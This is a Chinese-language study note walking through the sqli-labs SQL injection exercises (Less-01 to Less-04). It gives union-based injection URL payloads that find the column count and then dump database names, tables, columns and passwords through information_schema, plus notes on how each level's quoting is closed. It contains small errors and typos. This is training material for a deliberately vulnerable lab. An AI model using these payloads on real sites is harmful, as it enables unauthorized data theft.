sql注入笔记（二）

sql-labs篇

union注入

# Less-01

1. 打开环境

3

2. 先查两个值看看

?id=1
?id=2

3. 判断是否存在注入，使用一些符号进行判断，利用错误信息

?id=2'

发现报错，语法错误，“syntax to use near "2" LIMT at line 1”，意思是在2附近有错误，也就是我们输入id=2' 的时候 与查询语句的闭合方式进行了拼接导致sql语法规则错误。

这关中sql查询语句是

SELECT * FROM user WHERE id='输入值'

 我们输入了值后sql查询语句就变成了

SELECT * FROM test WHERE id='2''

 因此报错，这里还有一个问题就是输入为2"的时候并不会报错，这是因为这是一个字符型注入，sql查询语句字符型的查询只会使用单引号，sql中只支持单引号。

可以用布尔型注入判断

1‘ and 1=1 %23   #不报错
1' and 1=2 %23   #报错

?id=1' order by 4 %23 　   #判断字段列数
?id=1' order by 3 %23       # 为三列
?id=-1' union select 1,2,3 #查看哪些数据可以回显
?id=-1' union select  1,user(),database() %23    #查看当前用户名和数据库名
?id=-1' union select 1,2,group_concat(schema_name) from infomation_schema.schemata %23 #查看所有数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'     #查看对应数据库的表信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名'    #查看对应表的所有列信息
?id=-1' union select 1,2,group_concat(password) from 数据库名.表名    #查看数据

# Less-02

跟less1一样，先输入两个值进行测试,发现都能正常回显

?id=1
?id=2

输入符号 ' 进行测试，发现报错

使用布尔注入进行测试，and 1=1,发现还是报错，说明这是一个数字型注入，不用' 进行闭合。

 后面的步骤和less1一样

?id=1 order by 4 #不报错，但查询不到
?id=1 order by 3 #正常回显
?id=-1 union select 1,user(),database() #查询用户、数据库信息
#后面和less 1一样，爆数据库名，表名，列名，数据

# Less-03

?id=1' 

 使用转义符 \ 进行测试，发现是')闭合，确认闭合方式后，爆破流程和第一关一样。

# Less-04

“）闭合。

Boolean注入

# Less-05